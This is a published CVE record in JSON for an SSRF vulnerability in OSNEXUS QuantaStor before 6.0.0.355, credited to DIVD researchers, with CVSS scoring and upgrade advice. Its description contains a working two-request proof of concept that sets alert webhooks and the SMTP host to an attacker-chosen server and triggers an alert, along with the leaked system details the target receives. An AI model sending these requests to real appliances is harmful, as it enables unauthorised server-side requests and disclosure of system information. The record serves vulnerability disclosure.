Files
vuln-cve/data/2021/42xxx/CVE-2021-42079.json
T

245 lines
17 KiB
JSON
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{
"dataType": "CVE_RECORD",
"dataVersion": "5.1",
"cveMetadata": {
"cveId": "CVE-2021-42079",
"assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217",
"state": "PUBLISHED",
"assignerShortName": "DIVD",
"dateReserved": "2021-10-07T17:12:57.677Z",
"datePublished": "2023-07-10T06:29:48.339Z",
"dateUpdated": "2025-09-22T06:40:03.059Z"
},
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://www.osnexus.com/downloads",
"defaultStatus": "unknown",
"platforms": [
"Windows",
"Linux"
],
"product": "QuantaStor",
"vendor": "OSNEXUS",
"versions": [
{
"lessThan": "6.0.0.355",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Wietse Boonstra (DIVD)"
},
{
"lang": "en",
"type": "analyst",
"value": "Frank Breedijk (DIVD)"
},
{
"lang": "en",
"type": "analyst",
"value": "Victor Pasman (DIVD)"
},
{
"lang": "en",
"type": "analyst",
"value": "Victor Gevers (DIVD)"
},
{
"lang": "en",
"type": "analyst",
"value": "Max van der Horst (DIVD)"
},
{
"lang": "en",
"type": "analyst",
"value": "Célistine Oosting (DIVD)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.<br><br>POC<br><br>Step 1: Prepare the SSRF with a request like this:<br><br><tt><span style=\"background-color: rgba(29, 28, 29, 0.04);\">GET /qstorapi/alertConfigSet?senderEmailAddress=a&amp;smtpServerIpAddress=BURPCOLLABHOST&amp;smtpServerPort=25&amp;smtpUsername=a&amp;smtpPassword=1&amp;smtpAuthType=1&amp;customerSupportEmailAddress=1&amp;poolFreeSpaceWarningThreshold=1&amp;poolFreeSpaceAlertThreshold=1&amp;poolFreeSpaceCriticalAlertThreshold=1&amp;pagerDutyServiceKey=1&amp;slackWebhookUrl=</span>http://&lt;target&gt;<span style=\"background-color: rgba(29, 28, 29, 0.04);\">&amp;enableAlertTypes&amp;enableAlertTypes=1&amp;disableAlertTypes=1&amp;pauseAlertTypes=1&amp;mattermostWebhookUrl=</span>http://&lt;TARGET&gt;<br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">HTTP/1.1\n<br>Host: &lt;HOSTNAME&gt; <br>Accept-Encoding: gzip, deflate\n<br>Accept: */*\nAccept-Language: en\n<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36<br>\nConnection: close\n<br>authorization: Basic &lt;BASIC_AUTH_HASH&gt; <br>Content-Type: application/json\n<br>Content-Length: 0</span></tt><br><tt><br>Step 2: Trigger this alert with this request<br><br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">GET /qstorapi/alertRaise?title=test&amp;message=test&amp;severity=1 <br>HTTP/1.1\n<br>Host: &lt;HOSTNAME&gt; <br>Accept-Encoding: gzip, deflate\n<br>Accept: */*\n<br>Accept-Language: en\n<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n<br>Connection: close\n<br>authorization: Basic &lt;BASIC_AUTH_HASH&gt; <br>Content-Type: application/json\n<br>Content-Length: 1<br><br></span></tt>The post request received by &lt;TARGET&gt; looks like this:<br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">{<br> \n### Python FLASK stuff ####\n<br> 'endpoint': 'index', <br> \n'method': 'POST', <br> \n'cookies': ImmutableMultiDict([]), <br> \n### END Python FLASK stuff ####\n<br> \n'data': b'{ <br>  \"attachments\": [ <br>   {\n<br>    \"fallback\": \"[122] test / test.\",\n<br>    \"color\": \"#aa2222\",\n<br>    \"title\": \"[122] test\",\n<br>    \"text\": \"test\",\n<br>    \"fields\": [ &nbsp; <br>     { &nbsp; &nbsp;\n<br>      \"title\": \"Alert Severity\",\n &nbsp; &nbsp;<br>      \"value\": \"CRITICAL\",\n &nbsp; &nbsp;<br>      \"short\": false &nbsp;<br>     }, &nbsp;{ &nbsp; <br>      \"title\": \"Appliance\", &nbsp; &nbsp; <br>      \"value\": \"quantastor (</span>https://&lt;HOSTNAME&gt;<span style=\"background-color: rgba(29, 28, 29, 0.04);\">)\",\n &nbsp; &nbsp; <br>      \"short\": true &nbsp;\n<br>     }, &nbsp;{ &nbsp; &nbsp;\n<br>      \"title\": \"System / Driver / Kernel Ver\", &nbsp; &nbsp;\n<br>      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\", &nbsp; &nbsp;\n<br>      \"short\": false &nbsp;\n<br>     }, &nbsp;{ &nbsp; &nbsp;\n<br>      \"title\": \"System Startup\", &nbsp; &nbsp;\n<br>      \"value\": \"Fri Aug &nbsp;6 16-02-55 2021\", &nbsp; &nbsp;\n<br>      \"short\": true &nbsp;\n<br>      }, &nbsp;{ &nbsp; &nbsp;\n<br>      \"title\": \"SSID\", &nbsp; &nbsp;\n<br>      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\", &nbsp; &nbsp;\n<br>      \"short\": true &nbsp;\n<br>     },<br>    ],\n<br>    \"footer\": \"QuantaStor Call-home Alert\",\n<br>    \"footer_icon\": \"</span><a target=\"_blank\" rel=\"nofollow\" href=\"https://platform.slack-edge.com/img/default_application_icon.png\">https://platform.slack-edge.com/img/default_application_icon.png</a><span style=\"background-color: rgba(29, 28, 29, 0.04);\">\",\n<br>    \"ts\": 1628461774<br>   }<br>  ], <br>  \"mrkdwn\":true <br> }', <br> #### FLASK REQUEST STUFF #####\n<br> 'headers': {\n<br>  'Host': '&lt;redacted&gt;', <br>  'User-Agent': 'curl/7.58.0', <br>  'Accept': '*/*', <br>  'Content-Type': 'application/json', <br>  'Content-Length': '790'\n<br> }, <br> 'args': ImmutableMultiDict([]), <br> 'form': ImmutableMultiDict([]), <br> 'remote_addr': '217.103.63.173', <br> 'path': '/payload/58', <br> 'whois_ip': 'TNF-AS, NL'<br>}\n<br>#### END FLASK REQUEST STUFF #####</span><tt></tt>"
}
],
"value": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>\nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test&message=test&severity=1 \nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by <TARGET> looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n    \n      \"value\": \"CRITICAL\",\n    \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://<HOSTNAME>)\",\n     \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n      },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '<redacted>', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####"
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.2,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "HIGH",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery (SSRF)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217",
"shortName": "DIVD",
"dateUpdated": "2025-09-22T06:40:03.059Z"
},
"references": [
{
"tags": [
"third-party-advisory",
"technical-description"
],
"url": "https://www.wbsec.nl/osnexus"
},
{
"tags": [
"third-party-advisory",
"exploit",
"technical-description"
],
"url": "https://cisrt.divd.nl/DIVD-2021-00020/"
},
{
"tags": [
"product"
],
"url": "https://www.osnexus.com/products/software-defined-storage"
},
{
"tags": [
"third-party-advisory"
],
"url": "https://csirt.divd.nl/CVE-2021-42079"
}
],
"solutions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Upgrade to the latest version of OSNEXUS QuantaStor."
}
],
"value": "Upgrade to the latest version of OSNEXUS QuantaStor."
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355",
"x_generator": {
"engine": "Vulnogram 0.1.0-dev"
}
},
"adp": [
{
"providerMetadata": {
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE",
"dateUpdated": "2024-08-04T03:22:25.855Z"
},
"title": "CVE Program Container",
"references": [
{
"url": "https://www.wbsec.nl/osnexus",
"tags": [
"third-party-advisory",
"x_transferred"
]
},
{
"url": "https://www.divd.nl/DIVD-2021-00020",
"tags": [
"third-party-advisory",
"x_transferred"
]
},
{
"url": "https://www.osnexus.com/products/software-defined-storage",
"tags": [
"product",
"x_transferred"
]
},
{
"url": "https://csirt.divd.nl/CVE-2021-42079",
"tags": [
"third-party-advisory",
"x_transferred"
]
}
]
},
{
"metrics": [
{
"other": {
"type": "ssvc",
"content": {
"timestamp": "2024-11-04T20:06:08.530050Z",
"id": "CVE-2021-42079",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"version": "2.0.3"
}
}
}
],
"title": "CISA ADP Vulnrichment",
"providerMetadata": {
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP",
"dateUpdated": "2024-11-04T20:06:17.817Z"
}
}
]
}
}